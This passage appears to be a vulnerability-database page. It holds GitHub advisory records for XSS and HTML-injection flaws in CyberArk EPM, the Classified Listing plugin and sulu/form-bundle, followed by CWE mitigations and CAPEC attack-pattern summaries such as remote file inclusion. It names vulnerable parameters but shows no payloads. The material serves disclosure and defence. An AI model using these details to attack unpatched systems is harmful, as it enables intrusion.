"details": "It is possible to inject HTML code into the page content using the \"content\" field in the \"Application definition\" page.\n\n\nThis issue affects\u00a0CyberArk Endpoint Privilege Manager in SaaS version 24.7.1. The status of other versions is unknown.\u00a0After multiple attempts to contact the vendor we did not receive any answer.",
"id": "GHSA-rp64-rc76-xrq5",
"modified": "2025-02-28T15:31:03Z",
"published": "2025-02-28T15:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22274"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2025/02/CVE-2025-22270"
},
{
"type": "WEB",
"url": "https://cert.pl/posts/2025/02/CVE-2025-22270"
},
{
"type": "WEB",
"url": "https://docs.cyberark.com/epm/24.7.1/en/content/resources/_topnav/cc_home.htm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RRG4-8849-QVHV
Vulnerability from github – Published: 2025-08-14 12:30 – Updated: 2026-04-01 18:35Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in RadiusTheme Classified Listing allows Code Injection. This issue affects Classified Listing: from n/a through 5.0.0.
{
"affected": [],
"aliases": [
"CVE-2025-54698"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-14T11:15:51Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in RadiusTheme Classified Listing allows Code Injection. This issue affects Classified Listing: from n/a through 5.0.0.",
"id": "GHSA-rrg4-8849-qvhv",
"modified": "2026-04-01T18:35:51Z",
"published": "2025-08-14T12:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54698"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/classified-listing/vulnerability/wordpress-classified-listing-plugin-plugin-5-0-0-content-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RRVC-C7XG-7CF3
Vulnerability from github – Published: 2024-06-06 21:36 – Updated: 2024-06-06 21:36Impact
TokenController get parameter formName not sanitized in returned input field leads to XSS.
What kind of vulnerability is it? Who is impacted?
Patches
Has the problem been patched? What versions should users upgrade to?
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
Create a custom Symfony Request listener which checks for the get value of form for the TokenController and if not valid stop the request dispatching and return a error status code.
References
Are there any links users can visit to find out more?
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "sulu/form-bundle"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-37156"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-06T21:36:40Z",
"nvd_published_at": "2024-06-06T16:15:13Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nTokenController get parameter formName not sanitized in returned input field leads to XSS.\n\n_What kind of vulnerability is it? Who is impacted?_\n\n### Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nCreate a custom Symfony Request listener which checks for the get value of `form` for the TokenController and if not valid stop the request dispatching and return a error status code.\n\n### References\n\n_Are there any links users can visit to find out more?_\n",
"id": "GHSA-rrvc-c7xg-7cf3",
"modified": "2024-06-06T21:36:40Z",
"published": "2024-06-06T21:36:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sulu/SuluFormBundle/security/advisories/GHSA-rrvc-c7xg-7cf3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37156"
},
{
"type": "WEB",
"url": "https://github.com/sulu/SuluFormBundle/commit/3f341b71a7309cbc8fd2c5bff894c654d1679b17"
},
{
"type": "PACKAGE",
"url": "https://github.com/sulu/SuluFormBundle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "TokenController formName not sanitized in hidden input"
}
Mitigation
Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
CAPEC-18: XSS Targeting Non-Script Elements
This attack is a form of Cross-Site Scripting (XSS) where malicious scripts are embedded in elements that are not expected to host scripts such as image tags (<img>), comments in XML documents (< !-CDATA->), etc. These tags may not be subject to the same input validation, output validation, and other content filtering and checking routines, so this can create an opportunity for an adversary to tunnel through the application's elements and launch a XSS attack through other elements. As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote adversary to collect and interpret the output of said attack.
CAPEC-193: PHP Remote File Inclusion
In this pattern the adversary is able to load and execute arbitrary code remotely available from the application. This is usually accomplished through an insecurely configured PHP runtime environment and an improperly sanitized "include" or "require" call, which the user can then control to point to any web-accessible file. This allows adversaries to hijack the targeted application and force it to execute their own instructions.
CAPEC-32: XSS Through HTTP Query Strings
An adversary embeds malicious script code in the parameters of an HTTP query string and convinces a victim to submit the HTTP request that contains the query string to a vulnerable web application. The web application then procedes to use the values parameters without properly validation them first and generates the HTML code that will be executed by the victim's browser.
CAPEC-86: XSS Through HTTP Headers
An adversary exploits web applications that generate web content, such as links in a HTML page, based on unvalidated or improperly validated data submitted by other actors. XSS in HTTP Headers attacks target the HTTP headers which are hidden from most users and may not be validated by web applications.